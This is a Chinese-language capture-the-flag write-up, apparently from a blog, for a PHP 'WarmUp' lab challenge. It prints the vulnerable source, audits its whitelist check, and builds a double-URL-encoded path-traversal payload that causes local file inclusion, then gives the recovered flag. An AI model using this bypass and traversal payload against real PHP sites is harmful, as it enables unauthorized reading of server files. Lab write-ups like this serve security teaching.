- 打开网页
-
F12查看源码,发现有个source.php
-
访问这个文件
http://a493ed38-9a1e-42ac-9d38-5028c489a0de.node4.buuoj.cn:81/source.php
-
得到网页源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 再访问hint.php
flag应该在ffffllllaaaagggg
6.审计代码
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
也就是说 如果 file 不空且为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片。而需要被包含的文件就是hint.php提示的ffffllllaaaagggg。
- 接着审
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
这段大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8,然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
- 构造payload
?file=source.php%253F../../../../../ffffllllaaaagggg
注:
- 确保url解码后能通过白名单,浏览器会解码一次。而
?
经过一次url编码为:%3f;两次为:%253f../../../../../ffffllllaaaagggg
从根目录访问ffffllllaaaagggg
- 得到flag
flag{73a90e7b-d0eb-493d-9489-246638b3e707}
原文链接:https://blog.csdn.net/qq_41523170/article/details/107590435